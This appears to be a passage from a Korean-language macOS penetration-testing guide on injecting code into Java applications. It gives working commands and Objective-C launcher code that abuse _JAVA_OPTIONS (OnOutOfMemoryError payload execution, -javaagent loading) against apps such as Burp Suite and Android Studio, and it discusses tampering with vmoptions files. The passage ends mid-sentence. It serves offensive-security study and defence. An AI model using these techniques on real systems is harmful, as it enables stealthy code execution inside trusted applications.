시스템에 설치된 Java 애플리케이션을 찾으세요. Info.plist에 있는 Java 앱은 java. 문자열을 포함하는 일부 Java 매개변수를 포함하고 있음을 알 수 있습니다. 따라서 해당 문자열을 검색할 수 있습니다:
# Search only in /Applications foldersudofind/Applications-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null# Full searchsudofind/-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null
_JAVA_OPTIONS
환경 변수 **_JAVA_OPTIONS**은 java로 컴파일된 앱의 실행에 임의의 java 매개변수를 주입하는 데 사용될 수 있습니다:
# Write your payload in a script called /tmp/payload.shexport _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
새로운 프로세스로 실행하고 현재 터미널의 자식으로 실행하지 않으려면 다음을 사용할 수 있습니다:
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
그러나, 실행된 앱에서 오류를 발생시킬 것이므로, 더 은밀한 방법은 자바 에이전트를 생성하고 다음을 사용하는 것입니다:
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
애플리케이션과 다른 Java 버전으로 에이전트를 생성하면, 에이전트와 애플리케이션의 실행이 모두 중단될 수 있습니다.
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
vmoptions 파일
이 파일은 Java가 실행될 때 Java 매개변수의 지정을 지원합니다. 이전의 몇 가지 기법을 사용하여 Java 매개변수를 변경하고 프로세스가 임의의 명령을 실행하도록 할 수 있습니다.
또한, 이 파일은 include 디렉토리를 통해 다른 파일을 포함할 수도 있으므로 포함된 파일도 변경할 수 있습니다.
더욱이, 일부 Java 앱은 vmoptions 파일을 여러 개 로드할 수 있습니다.
Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾는 위치를 출력으로 알려줍니다. 예를 들어: